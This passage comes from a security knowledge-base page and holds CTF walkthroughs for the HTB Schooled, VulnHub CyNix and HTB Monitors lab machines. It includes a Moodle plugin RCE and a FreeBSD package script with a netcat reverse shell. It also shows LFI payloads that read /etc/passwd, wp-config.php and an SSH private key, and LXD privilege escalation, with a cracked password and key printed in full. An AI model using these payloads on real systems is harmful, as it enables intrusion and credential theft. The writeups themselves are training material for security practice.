ance=1&block%2Fselfcompletion%3Aaddinstance=1&block%2Fsettings%3Aaddinstance=1&block%2Fsite_main_menu%3Aaddinstance=1&block%2Fsocial_activities%3Aaddinstance=1&block%2Ftag_flickr%3Aaddinstance=1&block%2Ftag_youtube%3Aaddinstance=1&block%2Ftags%3Aaddinstance=1&moodle%2Fblock%3Aedit=1&moodle%2Fblock%3Aview=1&moodle%2Fsite%3Amanageblocks=1&savechanges=Save+changes
```

payload:

Paste in the intercepted request in burp

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1919.jpg)

Forward the request

Upload Payload to get shell

Now its time to get reverse shell

RCE can be achieved by uploading into plugin section and calling the Plugin from browser to get shell

Lets begin

#### get shell

Upload Plugin

Location of Plugin

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1920.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1921.jpg)

Malicious Plugin can be downloaded from [Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)

unzip it and put [php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)

change the IP and PORT

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1922.jpg)

Upload the plugin

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1923.jpg)

and start a listen on netcat

and start a listen on netcat

RCE Intial Shell

#### Trigger RCE

``` bash
domain/blocks/rce/lang/en/block_rce.php?cmd=id*
```

we got shell 

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1924.jpg)

Mysql Creds

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1925.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1926.jpg)

Jamie(admin) Hash 

``` bash
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
```

crack via john

``` bash
john hash -w=/usr/share/wordlists/rockyou.txt
```

already cracked it take few minutes depend on your pc
So Jamie password is '!QAZ2wsx'

``` bash
jamie@Schooled:~ $ id
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)
jamie@Schooled:~ $ whoami
jamie
jamie@Schooled:~ $ cat user.txt
39a50aff4788e4486058408e4ab91bd1
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1927.jpg)

#### privilege esclation

``` bash
jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *
```

Here is the some reference for privilleged escalation 

 - [Creating Custom Packages on FreeBSD](http://lastsummer.de/creating-custom-packages-on-freebsd/)


Here is the script for root

 - exp.sh

``` bash
#!/bin/sh
STAGEDIR=/tmp/package
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
cat >> ${STAGEDIR}/+PRE_INSTALL <<EOF
# careful here, this may clobber your system
echo “Resetting root shell”
rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 10.10.14.7 9080 >/tmp/a
EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo “Registering root shell”
pw usermod -n root -s /bin/sh
EOF
cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: mypackage
version: “1.0_5”
origin: sysutils/mypackage
comment: “automates stuff”
desc: “automates tasks which can also be undone later”
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -o .
```

Run the script on victim (jamie) machine,  run this command

and we got root

``` bash
jamie@Schooled:~ $ chmod +x exploit.sh 
jamie@Schooled:~ $ ./exploit.sh 
jamie@Schooled:~ $ ls
exploit.sh                      mypackage-“1.0_5”.txz           user.txt
jamie@Schooled:~ $ sudo pkg install --no-repo-update *.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
        mypackage: “1.0_5”

Number of packages to be installed: 1

Proceed with this action? [y/N]: y
[1/1] Installing mypackage-“1.0_5”...
“Resetting root shell”
rm: /tmp/a: No such file or directory
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/schooled]
└─# nc -lvp 9080
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9080
Ncat: Listening on 0.0.0.0:9080
Ncat: Connection from 10.10.10.234.
Ncat: Connection from 10.10.10.234:38734.
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# whoami
root
# cat /root/root.txt
58c6281b0eddaff94df2d1e96b6e2520
#
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1928.jpg)


#### Summary of knowledge

 - use ffuf to bruteforce subdomains
 - reflect xss to get teacher's cookie
 - CVE-2020-14321 RCE to get a reverse shell
 - Creating Custom Packages on FreeBSD to privilleged escalation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end schooled -->

</details>




# 容器边界、网络拓扑与宿主权限

容器里的 root、宿主文件系统、Docker socket 和 Kubernetes API 代表不同控制面。本章保留原拓扑、挂载、能力和进程身份，按每一次跨边界的实际证据阅读。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/containers/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Reddish 的多层网络与备份容器需要对应 IP、端口转发和任务触发。

Ready、Cynix 与 Monitors 分别涉及特权 Docker、LXD 和 SYS_MODULE。

Unobtainium 的 Pod 权限与 Talkactive 的宿主访问保留原 API、文件与运行条件。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [LXD 组与宿主文件系统](#case-cynix) | cynix | LXD、容器逃逸、Linux |
| [监控平台、内部 OFBiz 与 SYS_MODULE](#case-monitors) | monitors | OFBiz、Cacti、SYS_MODULE、容器逃逸 |
| [GitLab 入口与特权容器](#case-ready) | ready | GitLab、Docker、容器逃逸 |
| [多层容器网络与备份任务](#case-reddish) | reddish | Docker、Redis、rsync、端口转发 |
| [多语言管理面与 Docker 能力](#case-talkactive) | talkactive | Docker、Rocket.Chat、MongoDB |
| [原型污染与 Pod 权限](#case-unobtainium) | Unobtainium | 原型污染、Node.js、Kubernetes |

<a id="case-cynix"></a>

## LXD 组与宿主文件系统

原案例在服务枚举后进入 LXD 权限边界，保留镜像、容器配置及宿主挂载的过程，便于与独立 LXD 研究文章对照。

<p class="kb-provenance">来源 cynix · 原记录 2020-05-20 · 18 个代码块 · 2 处图片引用</p>

<details class="kb-evidence" id="record-cynix">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start cynix -->

#### 注意

<font color="red">为了帮助自己更好的成长，适应国际潮流与发展。从这篇文章开始，本人以后所有的技术文章，walkthrough,writeup,及其他乱七八糟的东西，全部用英文，重要的事情强调3遍,全部用英文!全部用英文!全部用英文!以后为适应国际潮流，文章将不定期换用其它国家的语言！！！</font>

#### name

Name: CyNix: 1
Date release: 18 Nov 2019

#### download

Download: https://drive.google.com/open?id=1oV8J4o3R8WP25fnIMy0ZKdZi-97eNP6b
Download (Mirror): https://download.vulnhub.com/cynix/CyNix.ova
Download (Torrent): https://download.vulnhub.com/cynix/CyNix.ova.torrent

#### description

 - Level: Intermediate-Hard
 - User flag: user.txt
 - Root flag: root.txt
 - Description: It's a Boot2Root machine. The machine is VirtualBox compatible but can be used in VMWare as well (not tested but it should work). The DHCP will assign an IP automatically. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively. Enjoy pwning it!

We recommend that you use VirtualBox and not VMware for this VM



#### information gathering

first use nmap as usual

``` bash
nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.125
Host is up (0.00016s latency).
MAC Address: 08:00:27:FC:8E:E4 (Oracle VirtualBox virtual NIC)
```

then Get more detailed information

``` bash
nmap -sV -sC -T4 -v -p- 192.168.56.125
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
6688/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6d:df:0d:37:b1:3c:86:0e:e6:6f:84:b9:28:11:ee:68 (RSA)
|   256 8f:3e:c0:08:03:13:e8:64:89:f6:f9:63:b3:88:99:2a (ECDSA)
|_  256 fb:e3:40:e6:91:0b:3c:bc:b7:0e:c7:bd:ef:a2:93:fc (ED25519)
MAC Address: 08:00:27:FC:8E:E4 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

 - Enumeration

i use dirbuster for Web Directory scanning, get the following results

``` bash
/icons    403
/lavalamp    200
/server-status    403
```

turn to contact page,i use burp got the following request

``` bash
POST /lavalamp/canyoubypassme.php HTTP/1.1
Host: 192.168.56.125
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 83
Origin: http://192.168.56.125
Connection: close
Referer: http://192.168.56.125/lavalamp/

name=test&email=ccasdcasdcas%40qq.com&subject=fuckyou&message=wocaonimacasdcasdcasd
```

then go to 

``` bash
http://192.168.56.125/lavalamp/canyoubypassme.php
```

check the source code

``` bash
<table width="40%" cellspacing="0" cellpadding="0" margin="20%" class="tb1" style="margin:2% 30%;opacity: 0.0;">
   <tr><td align=center style="padding: 3%;">
	<form method=post action="/lavalamp/canyoubypassme.php">Specify a number: <input type=text name=file placeholder=integer><br><br><input type=submit name=read value="Download the number"></form>
```

now change the opacity 0:0 to 1:0, and see what will happen

we got a visible form by doing that,then use burp intercept the data

``` bash
POST /lavalamp/canyoubypassme.php HTTP/1.1
Host: 192.168.56.125
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://192.168.56.125
Connection: close
Referer: http://192.168.56.125/lavalamp/canyoubypassme.php
Upgrade-Insecure-Requests: 1

file=21212&read=Download+the+number
```

edit the poc to triggerthe LFI

``` bash
file=1../../../etc/passwd&read=Download+the+number
```

responese:

``` bash
 </td></tr></table>
				<div id="right"></div><div align=center><textarea rows=20 cols=60>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
ford:x:1000:1000:ford,,,:/home/ford:/bin/bash
lxd:x:106:65534::/var/lib/lxd/:/bin/false
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
</textarea>
```

edit again to read ford user's ssh key

``` bash
file=1../../../home/ford/.ssh/id_rsa&read=Download+the+number
```

and we got ford's ssh key

``` bash
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAk1VUtcYuZmM1Zmm4yNpguzzeocGpMVYC540yT90QqaD2Bsal
zYqvHKEh++bOL6QTSr0NjU9ifT/lBIVSIA0TpjUTkpdIW045H+NlgMhN0q/x6Yy2
LofuB4LQqRzr6cP0paoOYNq1KYG3QF1ouGa4k1i0td4DepBxcu4JBMOm20E7BurG
zo41f/YWjC5DurNjIchzl4GyBClMGSXWbIbr6sYwVx2OKyiPLFLYusrNqwJNQvxz
Mf5yolEYI8WOXJzCfiPQ5VG8KXBH3FHu+DhFNgrJQjgowD15ZMQ1qpO/2FMhewR6
gcDs7rCLUUXc9/7uJ7e3zHlUyDgxakYohn3YiQIDAQABAoIBAE/cfSJa3mPZeuSc
gfE9jhlwES2VD+USPljNDGyF47ZO7Y0WuGEFv43BOe6VWUYxpdNpTqM+WKCTtcwR
iEafT/tT4dwf7LSxXf2PAUIhUS3W+UYjY80tGTUxD3Hbn3UDJuV1nH2bj3+ENJTL
DSyHYZ1dA/dg9HnHOfeWV4UhmJxXmOAOKgU9Z73sPn4bYy4B3jnyqWn392MsQftr
69ZYauTjku9awpuR5MAXMJ9bApk9Q7LZYwwGaSZw8ceMEUj7hkZBtP9W9cilCOdl
rFXnkc8CvUpLh+hX6E/JOCGsUvdPuVLWKd2bgdK099GrRaenS8SlN0AUTfyNiqg4
VE7V8AECgYEAwoGVE+Z8Tn+VD5tzQ0twK+cP2TSETkiTduYxU3rLqF8uUAc3Ye/9
TLyfyIEvU7e+hoKltdNXHZbtGrfjVbz6gGuGehIgckHPsZCAQLPwwEqp0Jzz9eSw
qXI0uM7n2vSdEWfCAcJBc559JKZ5uwd0XwTPNhiUqe6DUDUOZ7kI34ECgYEAwenM
gMEaFOzr/gQsmBNyDj2gR2SuOYnOWfjUO3DDleP7yXYNTcRuy6ke1kvMhf9fWw7h
dq3ieU0KSHrNUQ9igFK5C8FvsB+HUyEjfVpNhFppNpWUUWKDRCypbmypLg0r+9I7
myrdBFoYv30WKVsEHus1ye4nJzKjCtkgmjYMfQkCgYA0hctcyVNt2xPEWCTC2j8b
C9UCwSStAvoXFEfjk/gkqjcWUyyIXMbYjuLSwNen0qk3J1ZaCAyxJ8009s0DnPlD
7kUs93IdiFnuR+fqEO0E7+R1ObzC/JMb3oQQF4cSYBV92rfPw8Xq07RVTkL21yd8
dQ8DO5YBYS/CW+Fc7uFPgQKBgHWAVosud792UQn7PYppPhOjBBw+xdPXzVJ3lSLv
kZSiMVBCWI1nGjwOnsD77VLFC+MBgV2IwFMAe9qvjvoveGCJv9d/v03ZzQZybi7n
KVGp91c8DEPEjgYhigl/joR5Ns3A9p1vu72HWret9F/a5wRVQqK5zL/Tzzgjmb3Y
QnkBAoGAVosEGOE7GzBMefGHjQGMNKfumeJ01+Av6siAI6gmXWAYBaU618XhFEh1
+QNoLgWvSXoBuN+pMkxnRCfMTNbD1wSk46tW3sWHkZdV31gKceOifNzMVw53bJHP
/kto0eGJ/vgM0g9eyqmcpPTVqf7EwkJdo0LngOprNyTk+54ZiUg=
-----END RSA PRIVATE KEY-----
```

then we easily get user.txt

``` bash
root@kali:~/vulnhub/cynix# mousepad key
root@kali:~/vulnhub/cynix# chmod 700 key
root@kali:~/vulnhub/cynix# ssh -i key ford@192.168.56.125
ssh: connect to host 192.168.56.125 port 22: Connection refused
root@kali:~/vulnhub/cynix# ssh -i key ford@192.168.56.125 -p 6688
The authenticity of host '[192.168.56.125]:6688 ([192.168.56.125]:6688)' can't be established.
ECDSA key fingerprint is SHA256:4l9whYX6vUaC+OGLPBYRWd7sw10HKH1wJU+FcVVeJyQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.56.125]:6688' (ECDSA) to the list of known hosts.
 _____  _    _  ____  ______ _   _ _______   __
|  __ \| |  | |/ __ \|  ____| \ | |_   _\ \ / /
| |__) | |__| | |  | | |__  |  \| | | |  \ V / 
|  ___/|  __  | |  | |  __| | . ` | | |   > <  
| |    | |  | | |__| | |____| |\  |_| |_ / . \ 
|_|    |_|  |_|\____/|______|_| \_|_____/_/ \_\
                                               

Last login: Fri Nov  8 16:46:44 2019 from 10.80.3.41
ford@blume:~$ id
uid=1000(ford) gid=1000(ford) groups=1000(ford),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),113(lxd)
ford@blume:~$ whoami
ford
ford@blume:~$ ls
user.txt
ford@blume:~$ cat user.txt
02d6267ed96e6b615b031dafe9607151
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub274.jpg)


#### lxd privilege escalation

reference to the following article

- [lxd privilege escalation](https://www.hackingarticles.in/lxd-privilege-escalation/)

use the following commands to build the lxd image for later useage

``` bash
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
```

transfer alpine-v3.11-x86_64-20200119_0151.tar.gz to victim's machine

``` bash
root@kali:~/lxd-alpine-builder# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.56.125 - - [21/May/2020 00:51:58] "GET /alpine-v3.11-x86_64-20200119_0151.tar.gz HTTP/1.1" 200 -
```

``` bash
ford@blume:/tmp$ wget http://192.168.56.126/alpine-v3.11-x86_64-20200119_0151.tar.gz
--2020-05-21 10:21:57--  http://192.168.56.126/alpine-v3.11-x86_64-20200119_0151.tar.gz
Connecting to 192.168.56.126:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3226602 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.11-x86_64-20200119_0151.tar.gz’

alpine-v3.11-x86_64-20200 100%[==================================>]   3.08M  --.-KB/s    in 0.06s   

2020-05-21 10:21:57 (50.3 MB/s) - ‘alpine-v3.11-x86_64-20200119_0151.tar.gz’ saved [3226602/3226602]
```

then added as an image to LXD as follows:

``` bash
ford@blume:/tmp$ lxc image import ./alpine-v3.11-x86_64-20200119_0151.tar.gz --alias myimage
Image imported with fingerprint: 468c747448ec99c6b76e5a943df89a21489eb5d605ebe5d4c341a78ec217a223
```

Use the list command to check the list of images

``` bash
ford@blume:/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| myimage | 468c747448ec | no     | alpine v3.11 (20200119_01:51) | x86_64 | 3.08MB | May 21, 2020 at 5:39am (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
ford@blume:/tmp$ lxc init myimage ignite -c security.privileged=true
Creating ignite
ford@blume:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ford@blume:/tmp$ lxc start ignite
ford@blume:/tmp$ lxc exec ignite /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # whoami
root
```

Once inside the container, navigate to /mnt/root to see all resources from the host machine.

After running the bash file. We see that we have a different shell, it is the shell of the container. This container has all the files of the host machine. So, we enumerated for the root flag and found it.

and finally find the root.txt at last

``` bash
~ # cd /mnt/root/root
/mnt/root/root # ls
root.txt
/mnt/root/root # cat root.txt
Oh Yeah! Finally Pwned!

Here's your root flag:
b0f971eddce7bd007e9f50ca02f5fe11
    ____   __                      __    _  __ ______
   /  _/  / /____  _   __ ___     / /   | |/ // ____/
   / /   / // __ \| | / // _ \   / /    |   // /     
 _/ /   / // /_/ /| |/ //  __/  / /___ /   |/ /___   
/___/  /_/ \____/ |___/ \___/  /_____//_/|_|\____/   
                                                     
https://www.linkedin.com/in/sumit-verma-125576129/
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub275.jpg)


#### Summary of knowledge

 - change the opacity 0:0 to 1:0 to show the form
 - use LFI to read /etc/passwd and ssh key
 - lxd privilege escalation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lucifer11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end cynix -->

</details>

<a id="case-monitors"></a>

## 监控平台、内部 OFBiz 与 SYS_MODULE

应用层文件读取和 Cacti 查询缺陷连接内部 OFBiz，容器阶段的 SYS_MODULE 改变宿主内核边界。每次权限跨越分别有源码和输出。

<p class="kb-provenance">来源 monitors · 原记录 2021-05-01 · 29 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-monitors">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start monitors -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	24 Apr 2021
IP:	10.10.10.238

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1939.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/monitors]
└─# nmap -sV -p- -v --min-rate=10000 10.10.10.238
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Let's start with port-80

#### Port-80

There is a simple html page that said direct IP is not allowed.

Let's add monitors.htb inside /etc/hosts file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/monitors]
└─# cat /etc/hosts                                                                                                                                
127.0.0.1          localhost server.fatty.htb
127.0.1.1          kali
10.10.10.238       monitors.htb


# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

Now let's go to monitors.htb now.

Wordpress is running on the server let's run wpscan for find some users and vulnerabilities in plugin-ins.

``` bash
[+] wp-with-spritz
 | Location: http://monitors.htb/wp-content/plugins/wp-with-spritz/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2015-08-20T20:15:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 4.2.4 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://monitors.htb/wp-content/plugins/wp-with-spritz/readme.txt
```

Let's search on google for exploit for this plugin-in.

 - [WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion](https://www.exploit-db.com/exploits/44544)

``` bash
Proof of Concept

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec
```

Let's go to this url and check this is vulnerable through LFI or not.

``` bash
http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
\_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
Debian-snmp:x:112:115::/var/lib/snmp:/bin/false
mysql:x:109:114:MySQL Server,,,:/nonexistent:/bin/false
```

Now we known we can list the files so let's get the wp-config.php.

``` bash
http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../var/www/wordpress/wp-config.php

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wpadmin' );

/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
```

Got the username and password now let's try to login with this creads.

We can't login with these creads. Now let's try to get /var/log/apache2/access.log.

But we don't have permission to list the access.log.

After that i found an another way to list the access.log.

 - [BugBounty — “Journey from LFI to RCE!!!”-How I was able to get the same in one of the India’s popular property buy/sell company.](https://infosecwriteups.com/bugbounty-journey-from-lfi-to-rce-how-a69afe5a0899)

After reading,the article I came to know that “/proc/self/fd” provides symbolic shortcut to access-logs and various other system related file. So I tried reading those in search for access logs-

I use burp for that.

Capture the req and send it to intruder.

 - request:

``` bash
GET /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../proc/self/fd/1 HTTP/1.1

Host: monitors.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1
```

Add the position.

``` bash
GET /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../proc/self/fd/§1§ HTTP/1.1

Host: monitors.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1
```

Select payload type to numbers from 1 to 15 and start the attack.

Check the maximum lenght on 10 payload.

Now we list the access.log file let's open this in browser.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1940.jpg)

After analyze the file we see that a new vhost.

Let's check the /etc/apache2/sites-available/000-default.conf file for conform that.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/monitors]
└─# curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-available/000-default.conf"
# Default virtual host settings
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf

<VirtualHost *:80>
        # The ServerName directive sets the request scheme, hostname and port that
        # the server uses to identify itself. This is used when creating
        # redirection URLs. In the context of virtual hosts, the ServerName
        # specifies what hostname must appear in the request's Host: header to
        # match this virtual host. For the default virtual host (this file) this
        # value is not decisive as it is used as a last resort host regardless.
        # However, you must set it for any further virtual host explicitly.
        #ServerName www.example.com

        ServerAdmin admin@monitors.htb
        DocumentRoot /var/www/html
        Redirect 403 /
